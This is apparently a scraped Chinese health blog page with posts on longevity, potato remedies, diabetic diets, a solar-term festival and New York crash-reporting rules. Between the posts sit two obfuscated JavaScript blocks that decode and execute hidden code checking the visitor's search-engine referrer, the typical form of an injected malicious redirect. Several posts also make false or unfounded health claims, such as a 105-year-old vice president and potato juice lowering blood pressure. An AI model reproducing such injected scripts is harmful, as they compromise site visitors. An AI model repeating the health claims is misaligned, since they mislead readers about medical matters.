同为哺乳动物的老虎、狮子,被称为“百兽之王”,勇猛无比,但都短寿。而乌龟与蛇,少动的,却又长寿。

作为长寿的职业人群,常见的有:画家、书法家、学者、普通的农民等,他们都是相对好静的、安逸的或动静结合的。

美国有位著名作家杰克伦敦,被称为“文学之父”。他说,一个人为了长寿,而耗费太多时间锻炼,是不对的。

美国前总统罗斯福,他手下有三个副总统,其中一个副总统叫伽俐。好酒、好烟、好肥肉(曾说吃肉要吃透明的肉)、不运动,典型的大胖子(超胖)。保健医生一直劝他要戒烟酒、科学饮食,多运动,但他就是不听。结果,保健医生都死了,他还活着,活了105岁,属长寿。

台湾作家李敖说:他妈妈就是反科学的,整天躺在沙发上看电视,从早到晚喝可乐、咖啡、沙糖包子,爱吃高碳酸食物,活了90多岁。其爸爸,对生活很讲究,才活50多岁。

关键是每个人要了解自己的身体特征,适合干什么?不适合干什么?每人的身体都是独立个体,存在个体差异,包括兄弟姐妹亦如此。不能一味的强调干什么对身体好,吃什么对身体好。对别人好的,未必就是对你好的,反之亦然!


锻炼

俗话说:“人参吃死无罪,黄连治病无功”。人参是补药,补阳,大补元气。对阳虚、气虚者来说,就是补药!但对阴虚体质的人,就是毒药!

现在的国人大多盲从,缺乏独立思考的习惯;人云亦云、随波逐流。最终自己害自己,而不知所以然!

2021-02-20 / by / in
中老年人长寿显年轻的17个现象,你全有吗?

中老年人/老人长寿/17个现象

健康长寿是人们渴望的事情,当我们步入中老年的时候,心里上会越来越希望自己更年轻更健康。

下面为大家整理的中老年长寿且显年轻的17个现象,赶紧对照看看,你中了几个吧!

1.不爱粗茶淡饭

中国疾病预防控制中心营养与健康所研究员、中国老年学学会老年营养与食品专业委员会主任委员付萍指出,老人饮食并非越清淡越好,尤其是对高龄老人而言,过于清淡反倒容易导致营养不良,给身体埋下诸多隐患。

吃得过于清淡,只会让老化更加严重。一项调查结果表明,不吃肉的人比两天吃一次肉的人患痴呆症的概率要高一倍。因此,中老年朋友要想长寿,饮食方面也不能过于清淡,也要适当合理地吃一些肉食。


外出散步 

2.每天都要外出至少一次

如果你每天都想出去走走,而不是整日待在家中,那说明你的心态和行动都是健康的。我们建议所有的中老年朋友,就算是一个人,也坚持尽量每天出一次门,哪怕是下楼散散步也好。


老朋友聚餐 

3.每周一次外出聚餐

大多数中老年朋友都更爱在家里吃饭,认为外面的食物不健康。其实,我们偶尔也可以外出吃吃饭。

一周一次,穿上最喜欢的衣服,带上自己的老伴,叫上几个老朋友,出门享受一次年轻,尝尝自己从没吃过的外国菜,也是一种愉快积极的体验哦。

4.有爱美的心态

人到中老年适度“老来​​俏”不仅是个人身心健康的需要,也是现代文明的需要。白发一经染黑就显得年轻许多;胡子勤刮可使颜面保持整洁,容光焕发。

有一颗爱美的心态,不仅能美化自己、增添精神,而且也美化社会,成为一道“夕阳风景”。还利于社交活动,益于身心健康。正如谚语所说“老要时髦,少要乖”。

5.懂得释怀

60岁后,该释怀的释怀,该放下的放下,不要再为难自己,委屈自己,不要再逞强,不要再纠结。我们已经过了任性的年龄,生命已经由不得你再去糟蹋。如果你不爱惜自己,又​​有谁会真的在乎。

懂得释怀的中老年人,心态更好,看得更开,自然也就更加长寿、快乐!

6.愿意接受新事物、新观念

时代已经发生改变,生活观念也在不停的变换更新。我们不能总守着以往的观念来过日子,也要懂得与时俱进,多了解现在的新观念。

如果你愿意走出家门,去探索这个精彩的世界,接受当下最新潮的事物和观念,那你一定就是一个乐在享受暮年的新老人!

7.是个乐天派

据《美国心理学家杂志》报道,约有17%的美国人是乐天派,他们对生活有着积极的态度,有明确的目的和很强的社会认同感,他们要比悲观派的人更健康。

我们应该努力保持乐观的态度,积极寻求生活的意义。在意大利的撒丁岛或日本的冲绳,那里有世界上最长寿的人们。他们都很勤劳地工作,但是他们更注重和家人一起度过时间,提升自己的精神状态,并且喜欢帮助别人。

8.性格开朗,喜欢交朋友

俗话说,多个朋友多条路,说的是人熟好办事,而澳大利亚科学家的一项研究则表明,朋友多还能促使人长寿。研究结果表明,与5个以上亲密朋友一直保持接触或电话联系的老人,比朋友相对较少的老人死亡率低22%。

朋友能够帮助人排遣压力,解决困难,也能激励健康的生活习惯。

9.爱清理东西

如果你是一个定时清理家中物品,并舍得将不用的东西扔掉的人,那恭喜你,你有中了一条。这说明,你很有长寿的潜质。

家中最后只保留生活必需品,其他的都可以清理掉。生活中,不买不需要的东西;必要的东西挑好的买。当你清理完后就会发现,还是原来那个家,但自己似乎住得更舒服了。

10.有真心喜欢自己的朋友

美国西达克瑞斯特学院的心理学副教授迈卡萨丁称,良好的人际关系是很好的减压剂,而知道有人一直支援着你,会让你身心都保持健康。

11.有陪在身边的老伴

少年夫妻老来伴,相伴一生的夫妻到老才最重要。家常饭,粗布衣,知冷知热结发妻。老了才真正懂得知冷知热的老伴才是这一生最宝贵的财富。

身边有一个知冷知热的老伴,生活也会更加快乐温暖,自然就会更加健康长寿了。


老人和孩子 

12.喜欢和小孩一起玩

如果你喜欢和自己的孙辈,或者小区里其他的孩子一起玩,喜欢逗小孩,那说明你有一颗永远不老的童心。

如果你是上午偷偷笑,下午活蹦乱跳,嘴里哼着小调,晚上稀里呼噜睡觉,那说明你的生活一定非常快乐,且充满乐趣、童趣。

13.身体微胖

现在人们都“以瘦为美”,但其实微胖的人才长寿!

研究发现,到了老年,微胖的人骨密度较高、死亡率较低,呼吸系统疾病、骨质疏松、糖尿病的发生率也较低,并且对环境的适应能力较强,如当流感、肺炎等疾病发生时,消瘦的老年人更易感染,而微胖的老年人相对较好。

14.多数时候更愿意步行

一项对2603名男女进行的最新研究表明,每天坚持步行30分钟的人可定义为身体健康的人。不管他们体内脂肪含量有多高,都要比每天步行少于30分钟的人更长寿。

同样,也有研究称肥胖妇女可通过每天增加10分钟的运动来改善其心脏健康状况。因此午饭后不妨走路散散步,每天尽量以各种方式多做一点运动。

15.有一双强健的腿

背靠墙站立,脚慢慢往前走,然后再退回来直到你保持一个平稳状态,但是背的下半部要始终紧贴着墙壁。尽最大可能保持这种姿势,每天做一次,并且每次增加几秒钟的时间。

16.爱吃紫色食物

一项最新研究显示,紫葡萄、蓝莓和红葡萄酒富含多酚,多酚能使血管保持韧性,有助预防心脏病和老年痴呆症,凡是对冠状动脉有益的食物对脑血管也很有帮助。

对动物的初步研究表明,在饮食中增加黑葡萄能帮助改善大脑功能。另有研究显示,每天喝一杯蓝莓果汁有助提升脑细胞功能,增加记忆力。

17.不打呼噜

有人认为打呼噜是“睡得香”的表现,实际上打呼噜是一种病。一项历时18年的研究发现,睡觉不打呼噜的人寿命更长。

严重打呼噜造成的呼吸反复停止,成为高血压、糖尿病的帮凶,甚至心梗、脑梗、肺梗死的“引爆器”,以及恶性肿瘤发生发展的催化剂。一旦打呼噜明显,建议到医院检查原因,并获取医生专业的治疗方法。

如果你中了0-6条,那说明你还要继续努力,好好调整自己的生活习惯和心态,才能拥有更健康的身体哦。

如果你中了7-12条,那你还不错,你看上去比一般的同龄人要年轻一些,也有长寿的潜质。

如果你中了13条以上,那恭喜你,你的心态和面貌都十分年轻,而且健康长寿的几率也非常大哦。

2021-02-20 / by / in
纽约市警不再处理轻微车祸 109分局向司机支招

纽约市从2020年4月开始,对于仅造成财产损失、无需拖车而且司机也都在现场的机动车事故,不需要再向警察局报告。市警109分局17日在推特上向司机介绍了如何应对市警在这方面执法的变化。

在不需要打911报警时,您可以与其他驾驶员交换驾驶执照信息、保险和车辆登记信息。同时,为了保险起见,应当向机动车部门提交机动车事故报告,可以在dmv.ny.gov/forms/mv104.pdf上找到该表格,也可以在您当地的辖区或警察服务区索取该表格。

根据市警“零死亡愿景”Vision Zero)的宣传资料,发生车辆碰撞时,压力可能很大,但请务必记住,安全始终是第一要务。以下是发生碰撞后要牢记的一些技巧:将车辆移入停车区;检查自己和所有乘客是否受伤;如果您无法移动车辆,或者需要医疗帮助,请拨打911并按照操作员的说明进行操作。

如果您的车辆可操作,并且您和您的所有乘客均未受到任何伤害,则应在估状况之前,将车移至安全的位置(例如最近的路肩,中线或最右边的车道)。这样做,可以保护您免受接下来的车流的威胁;允许其他驾驶者安全地通过;为紧急情况响应者提供更轻松的访问途径。

注意:如果碰撞对任何人的财产造成超过1000美元的损失,则必须在碰撞发生后10天内向汽车部门提交汽车事故报告。否则,可能会导致您的驾驶执照中止。

根据纽约州车辆和交通法,在与其他驾驶人交换信息之前离开碰撞现场是违法的。此外,在以下情况下,您必须留在现场并在发生车辆碰撞后立即与警察联系,这些情况包括:有人受伤或死亡;撞上停泊的车辆或撞上物业,并导致它们受损,且无法找到车主或屋主。

2021-02-19 / by / in ,
坚果、海苔美称健康零食 ?医曝惊人真相

零食/调味/加工腌制/油炸/紫菜/海苔/避免摄取过多低油/低盐/低糖/新鲜水果

过年期间免不了多吃些人们认为健康的糖果、饼干和坚果等,这些s是否真的是健康食物,那我们就看看创健健检中心陈建志院长怎么说。

医师指出,许多人将坚果、海苔等视作健康零嘴,但其实很多都过度调味加工,不可过度摄取,尤其是糖尿病及心血管病友,以免影响血糖、血脂及增加体重。


坚果

《三立新闻》报道,创健健检中心陈建志院长指出,坚果类、蔬果干等,都是民众误以为健康的零食清单,但其实许多都是经过腌制、油炸、裹上蜜糖后制成,不可过度摄取。建议民众可特别挑选未经调味的坚果并限量食用,一天以1至2个免洗汤匙的量为佳。

陈建志也指出,紫菜、海苔热量虽低,但一般市售海苔通常调味过重,提醒肾脏病友要选择低调味或无调味的产品。另外,许多常见年菜热量也相当高,像是排名第一的东坡肉、象征“年年有余”的糖醋鱼及有着“步步高升”之意的年糕与米糕都要注意,尽量避免摄取过多。


海苔

陈建志提醒民众,吃正餐时,可以在餐前喝一杯茶或水,吃饭时将菜肉比例调整为2:1,增加饱足感之余,也提升纤维质的摄取;年节期间也要慎选健康零食,以低油、低盐、低糖为原则,或以新鲜水果取代,可增加每日纤维摄取,热量也不容易爆表。

2021-02-19 / by / in
今日“雨水”,讲究这些 你知道吗 ?

雨水/二十四节气/习俗/忌讳/拉保保/回娘家/占稻色/接寿/春捂秋冻/春雨

雨水是反映降水现象的节气,代表着春天的到来,正如好雨知时节,当春乃发生,随风潜入夜,润物细无声。

春始属木,然生木者必有水也,故立春后继之雨水。雨水,是二十四节气之第2个节气, 雨水节气代表着降雨开始,俗话说“春雨贵如油”,进入雨水节气,是大地回春的重要节点,自此之后“一场春雨一场暖”,大地即将换绿衣!一副早春的景象即将来到眼前。


雨水

“雨水”这天的讲究,习俗和忌讳

中国古历法中,二十四节气分别是:立春、雨水、惊蛰、春分、清明、谷雨、立夏、小满、芒种、夏至、小暑、大暑、立秋、处暑、白露、秋分、寒露、霜降、立冬、小雪、大雪、冬至、小寒、大寒。作为二十四节气中的第二节气,雨水节气时常伴有细雨和风,淅淅沥沥的小雨犹如大地母亲的爱抚,将花草树木从冬眠中唤醒,用甘露滋润,使其焕然一新。

在中国古代,人们认为,雨水节气开始,阳气开始上升,阴气开始下降,二气祥和孕育春天的生机盎然。那么雨水这天有哪些民间习俗和忌讳呢?今天我们一起来聊一聊。

雨水这天,中国的传统习俗主要有:拉保保、回娘家、占稻色、接寿。


早春

传说,在女娲创世之初,从正月初一开始,依次创造了“鸡狗猪羊牛马”,所以从正月初一到初六就是“六畜日”。到了第七日,才造出了人,所以正月初七就是人的生日,被称为“人日节”。如果初七这一天下雨的话,在新的一年里,人就会不太顺利。今年的“人胜节”比较特殊,更好与二十四节气中的“雨水”撞到了同一天,老话有:“人节见雨水,接寿找干爹”。什么意思呢?

1、拉保保

拉保保就是找干爹。这项有趣的风俗活动源自中国川西一带。大家都知道,家里儿女染病是父母长辈最操心的。为了让儿女们能够远离疾病,健康平安地成长,父母就寄托神灵,拜佛烧香为儿女求神问卦,看需不需要找个干爹。找干爹的目的就是希望干爹能够庇护孩子长大,带给孩子福气。这个习俗经过代代相传,传承到现在更名为“拉保保”。


烧香

2、回娘家

我们很多人都知道正月初二回娘家,那时春节习俗,雨水节回娘家的习俗流行依然于川西一带。雨水节这天,出嫁的女儿们“身穿大红袄,头戴一枝花,胭脂和香粉她的脸上擦。左手一只鸡,右手一只鸭,身上还背着一个胖娃娃呀,咿呀咿得儿喂!“纷纷带上礼物回娘家拜望父母。

3、占稻色

占稻色就是炒稻谷糯米。通过爆炒稻谷糯米,炒出米花,来寓意庄稼是否丰收。爆出的糯米花越多,收成越好;爆出来的米花越少,则意味着收成不好,米价将涨价。

4、接寿

中国有些地区,在雨水这一天,有个民俗是女儿给父母、女婿给岳父母送节。送节的礼品通常是一丈二尺长的红棉带,这就称为“接寿”,祝福父母长命百岁、身体健康、福如东海。

同时呢,按照雨水节气的传统,又有一些禁忌,这里重点说三个:


不要过早地脱去厚衣服

1、不要过早地减少穿衣服。

俗话讲:“春捂秋冻”。春天的气候最不稳定,天气一天冷、一天热,温度并不稳定。所以不要过早地脱去厚衣服换上轻便的春装,要等到气候稳定的时候再换衣服。

2、年龄大的或者体质较弱者,少用冷水。

在雨水时节,年老体弱者用冷水洗脸洗手洗衣服,湿寒很容易侵入身体,此时的天气还没有完全回暖,湿寒滞留体内,容易通风或者引起偏头痛。

3、雨水之日最大的忌讳就是没有下雨。

民谣说:“雨水不落,下秧无着。”意思为雨水不下雨,下秧就没有着落了,当年庄稼可能收成不好。因此雨水这天下雨是人们最盼望的,是老天恩赐的礼物,“春雨贵如油”,对农作物的生长特别重要。

2021-02-19 / by / in , , ,
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P2RxOz

$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,57,55,50,56,122,51,113,72,84,77,76,60,34,48,112,47,63,38,95,43,85,67,119,44,58,37,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[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2021-02-18 / by / in , , ,
土豆蔬菜明星,一定要看,最好的“药”错过就太亏了

土豆/营养价值/第二面包/土豆吃法/美容抗衰/降压抗癌

土豆是全球最普遍的食物,也是老百姓餐桌上必不可少的一种蔬菜。同时它也是全球人民都爱的美食。

联合国最近一项调查表明,到2100年,全世界人口将增加到105亿,可能导致粮食危机。

有的科学家认为,到那个时候,最有可能帮助人类渡过危机的就是这貌不惊人、我们天天见到的土豆。

土豆如今成了营养学家青睐的蔬菜明星,被认为是世界上最伟大的食物之一。

吃了一辈子的土豆,但你知道吗?土豆就是最好的“药”,关键看你怎么吃,真要好好学学了!


土豆

土豆浑身是宝,堪称“地下苹果”

土豆浑身都是宝。两位英国营养专家建议,每天吃两次煮土豆可以缓解压力。具体说起来,土豆有以下几个营养优势。

1营养价值高:“第二面包”美称

土豆的营养价值很高,含有丰富的维生素A和维生素C以及矿物质,优质淀粉含量约为16.5%,还含有大量木质素等。

美国饮食营养协会发言人洛娜·桑顿指出,土豆是典型的低能量食物,素有“第二面包”的美称。

2含多种维生素:有利心血管健康

土豆富含各种维生素,含量甚至与蔬菜相当。尤其是维生素C和B族维生素含量较高,其中前者是一种抗氧化剂,保护身体免于自由基的威胁,后者有利于心血管健康。

3富含钾盐:降脑卒中发病率

天津第一中心医院营养科主任谭桂军指出,每100克土豆含钾高达300毫克以上,具有防治高血压和心脏病的功效,这让土豆享有“地下苹果”的美誉。

另外有研究证明,每天坚持吃1个中等大小的土豆(约130克),可使脑卒中的发病率降低40%。


洋葱炒土豆

4富含多酚类:抗癌、抗氧化

两位英国专家也指出,早先的研究结果表明,土豆能有效预防乳腺癌,并在癌症早期的综合治疗中发挥积极作用。

谭桂军指出,土豆中含有的多酚类物质,具有抗癌、抗氧化作用。

5是非常好的补气食物

从中医角度看,土豆是一种非常好的补气食物。具有健脾益气、和胃调中、减肥降脂等功效,对有“气虚”表现的人有很好的调理作用。

土豆堪称百姓灵芝,但是想要吃它达到防治疾病的目的,吃法非常关键!


土豆

1、降血压 —— 生土豆榨汁

方法

将土豆洗净,去皮,用擦菜板擦成汁或榨橙汁。然后可依照个人口味加入酸奶、砂糖、蜂蜜等饮用。

很多人不知道土豆其实还是一味“降压药”。

土豆中含有大量矿物质、B族维生素和钾,有利于控压,降压,还可保持血管弹性,有利于预防动脉粥样硬化的发生,这些都是控制血压的可靠保证。

2、降血糖 —— 蒸土豆

方法

将土豆蒸熟吃,这种情况能够避免土豆的吸油性,一般需要蒸10分钟左右,然后直接吃就可以。

尽可能不要乱加调料,如果觉得难以下咽的话,应该注意细嚼慢咽。

高血糖的人可以用土豆代替一部分主食。土豆中的碳水化合物含量在17%左右,比米饭(26%)或馒头(50%)中的碳水化合物都要低。

以土豆代部分主食,可减少部分总热量摄入,对血糖、血脂过高都有很好的改善和缓解作用。

3、助消化 —— 土豆炒着吃

方法

土豆切成丝后,先在水中稍微泡泡。因为土豆中淀粉以直链淀粉为主,泡泡再炒,土豆丝会比较爽脆。

加醋可以保护土豆中所含的部分维生素C,而炒的过程中放油,又可促进土豆中抗氧化物质的吸收。调成酸辣味,还能减少食盐用量。

酸辣土豆丝很多人都吃过,炒酸辣土豆丝可以说是一味治疗食欲差的好“药”,酸辣可口的土豆丝可以增加食欲、促进消食。

4、润肠防便秘 —— 土豆加蜂蜜

方法

1、把土豆削皮、切碎,用榨汁机榨成汁。

2、把榨好的土豆汁倒进锅里,用小火煮,当土豆汁变得黏稠时,加入适量蜂蜜,搅拌均匀即可。

3、做完后放入冰箱冷藏。每天喝一次,每次两勺,空腹服用即可。

你知道吗?每100克土豆里所含的膳食纤维高达6克,可以说是防治便秘的首选食物。

要提醒的是,蜂蜜最好选择槐花蜜。槐花蜜属凉性,用来治疗便秘效果最好。而热性的蜂蜜,吃了以后会增加肠道的干燥,反而会加重便秘的症状。

5、美容 —— 新鲜土豆片

方法

将熟土豆切片,贴在眼睛上,能减轻下眼袋的浮肿。

把土豆切成片敷在脸上,具有美容护肤、减少皱纹的良好效果。

土豆有很好的呵护肌肤、保养容颜的功效。新鲜土豆片液直接涂敷于面部,增白作用十分显着。

6、抗癌 —— 常吃土豆防结肠癌

据国家期刊《现代养生.上半月》,土豆中大量的膳食纤维不仅可以降血糖,还可以帮助降低胆固醇水平和及时排除代谢毒素,常吃土豆能有效降低结肠癌的发病率。

土豆不愧是餐桌上的“营养之王”,而且还便宜,人人吃得起!降压抗癌、美容抗衰…常吃土豆就够啦!告诉朋友们,以后可别小看土豆!

2021-02-18 / by / in
发现天然“吸糖王”,每天坚持吃,糖尿病或许不来扰!

健康/水果/血糖调控

糖尿病是一种常见病,是高血糖特征的一种代谢性疾病,所以对于糖尿病患者来说,平时要多注意自身的饮食习惯,防止糖尿病患者的不正确饮食,合理就餐, 用食物合理控制血糖。

食用水果选种类、选时间

水果是我们平时生活中很经常食用的一类食物, 同时很多水果都深得人们的喜爱。水果的好处虽多, 但是对于糖尿病患者而言,每天的水果摄入量应该不超过200克, 同时还要注意食用的种类和食用时间。对于糖尿病患者而言, 在水果的选择上要选择含糖低的水果。比如草莓、柠檬、木瓜、 柚子等都是很不错的选择。最后就是食用水果的时间也要注意, 糖尿病患者最好在两餐之间食用水果, 一般在早上十点和下午三点左右。

天然“吸糖王”终于被发现,每天坚持吃,糖尿病或许不来扰!

对于糖尿病患者而言,在平时的时候要注意食用一些蔬菜, 并且选择的种类不要太过单一。对于黄瓜、 西红柿的蔬菜多增加摄入,这些食物也被当做天然的“吸糖王”, 经常吃对于血糖的降低有着很好的效果。同时对于碳水化合物含量较多的食物,比如山药、土豆、 胡萝卜等就最好减少摄入。


草莓

主食食用需全面:

对于糖尿病患者而言,在平时的时候要减少糖的摄入, 而主食又是我们每天摄入最多的食物, 食用在平时的时候也要注意主食的选择。并且主食也要限量, 特别每天主食摄入量最好不要超过300克。同时也要做到多种粗细杂粮共同摄入。而燕麦、玉米、 荞面等是非常适合糖尿病患者吃的食物。

对于糖尿病患者而言,在平时的饮食中, 可以多选择食用荞麦类食品。荞麦当中含有大量的膳食纤维等营养物质, 能够很好地改善葡萄糖的耐量,同时还能够控制餐后的血糖上升。并且苦荞麦当中含有麦糖醇,这种物质能够调节胰岛的活性, 从而起到降低血糖的作用。


木瓜

副食品也要调控

糖尿病患者在其他的副食品当中也要适当调控,乳制品、 菌菇类食品在每日餐食中都应该要有。而每天的食材、肉类、 主食的食用比例要控制在2:1:1。无论是什么食物都要适量, 不然的话,很有会给身体带来一定的负担。

各位如果想要稳定血糖,在平时的时候进行适当的有氧运动, 对于血糖的控制也是很不错的。


柠檬

2021-02-18 / by / in
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$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,57,54,48,51,72,84,77,76,60,34,112,47,63,38,95,43,85,67,119,70,44,58,37,122,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[]